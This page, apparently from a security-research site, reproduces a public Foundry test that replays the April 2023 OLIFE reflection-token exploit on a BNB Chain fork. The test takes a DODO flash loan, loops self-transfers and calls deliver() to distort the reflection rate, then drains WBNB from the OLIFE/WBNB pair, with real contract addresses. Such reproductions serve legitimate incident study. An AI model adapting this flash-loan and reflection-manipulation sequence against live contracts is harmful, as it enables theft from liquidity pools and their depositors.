Public reproduction file
src/test/2023-04/OLIFE_exp.sol
Public reproduction file for dataset entry OLIFE.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BeosinAlert/status/16485204945164206089// @TX10// https://bscscan.com/tx/0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a11// @Summary12// The attacker called the `transfer()` and `deliver()` functions to reduce the number of rSupply and tSupply.13// The value of rate is thus calculated less, increasing the number of reflected tokens in the pair,14// Finally directly call swap to withdraw $WBNB from the pair.16interface IOceanLife {17 function approve(address spender, uint256 amount) external returns (bool);18 function balanceOf(19 address account20 ) external view returns (uint256);21 function deliver(22 uint256 tAmount23 ) external;24 function transfer(address recipient, uint256 amount) external returns (bool);25}27contract ContractTest is Test {28 uint256 internal constant FLASHLOAN_WBNB_AMOUNT = 969 * 1e18;30 IERC20 constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);31 IOceanLife constant OLIFE = IOceanLife(0xb5a0Ce3Acd6eC557d39aFDcbC93B07a1e1a9e3fa);32 IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));33 IPancakePair constant OLIFE_WBNB_LPPool = IPancakePair(0x915C2DFc34e773DC3415Fe7045bB1540F8BDAE84);35 address constant dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;37 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);39 function setUp() external {40 cheats.createSelectFork("bsc", 27_470_678);41 }43 function testExploit() external {44 DVM(dodo).flashLoan(FLASHLOAN_WBNB_AMOUNT, 0, address(this), new bytes(1));46 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);47 }49 function loopTransfer(50 uint256 num51 ) internal {52 uint256 i;53 while (i < num) {54 uint256 amount = OLIFE.balanceOf(address(this));55 OLIFE.transfer(address(this), amount);56 i++;57 }58 }60 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {61 WBNB.approve(address(pancakeRouter), type(uint256).max);63 address[] memory swapPath = new address[](2);64 swapPath[0] = address(WBNB);65 swapPath[1] = address(OLIFE);66 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(67 FLASHLOAN_WBNB_AMOUNT, 0, swapPath, address(this), block.timestamp68 );69 /* 70 Reflection calculations71 Rate = rSupply / tSupply (Excluded users are not counted in the supply)72 balanceOf(pair) = rOwned[pair] / currentRate 73 */74 emit log_named_decimal_uint(75 "[INFO] OLIFE amount in pair before the currentRate reduction",76 OLIFE.balanceOf(address(OLIFE_WBNB_LPPool)),77 978 );79 loopTransfer(19);81 OLIFE.deliver(66_859_267_695_870_000);83 emit log_named_decimal_uint(84 "[INFO] OLIFE amount in pair after the currentRate reduction",85 OLIFE.balanceOf(address(OLIFE_WBNB_LPPool)),86 987 );89 (uint256 oldOlifeReserve, uint256 bnbReserve,) = OLIFE_WBNB_LPPool.getReserves();90 uint256 newolifeReserve = OLIFE.balanceOf(address(OLIFE_WBNB_LPPool));91 uint256 amountin = newolifeReserve - oldOlifeReserve;92 uint256 swapAmount = amountin * 9975 * bnbReserve / (oldOlifeReserve * 10_000 + amountin * 9975);94 //swap OLIFE to WBNB95 OLIFE_WBNB_LPPool.swap(0, swapAmount, address(this), "");97 // repay98 WBNB.transfer(address(dodo), FLASHLOAN_WBNB_AMOUNT);99 }100}Analysis
Dataset entry
Public Foundry test for “OLIFE” (2023-04-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-04/0vix_exp.solSame month in the dataset · 472 lines
- src/test/2023-04/Allbridge_exp.solSame month in the dataset · 128 lines
- src/test/2023-04/Axioma_exp.solSame month in the dataset · 65 lines
- src/test/2023-04/HundredFinance_2_exp.solSame month in the dataset · 327 lines
- src/test/2023-04/MetaPoint_exp.solSame month in the dataset · 73 lines
- src/test/2023-04/Paribus_exp.solSame month in the dataset · 131 lines
- src/test/2023-04/Sentiment_exp.solSame month in the dataset · 239 lines
- src/test/2023-04/silo_finance_exp.solSame month in the dataset · 171 lines
- src/test/2023-04/Sushi_Router_exp.solSame month in the dataset · 94 lines
- src/test/2023-04/Swapos_exp.solSame month in the dataset · 46 lines
- src/test/2023-04/YearnFinance_exp.solSame month in the dataset · 526 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- OLIFE
- Path
- src/test/2023-04/OLIFE_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 7c4451fafb02a056fb4dc1745fae7bb0744ecea2
- Language
- Solidity
- Size
- 101 lines
- Date
- 2023-04-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-04/OLIFE_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7c4451fafb02a056fb4dc1745fae7bb0744ecea2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.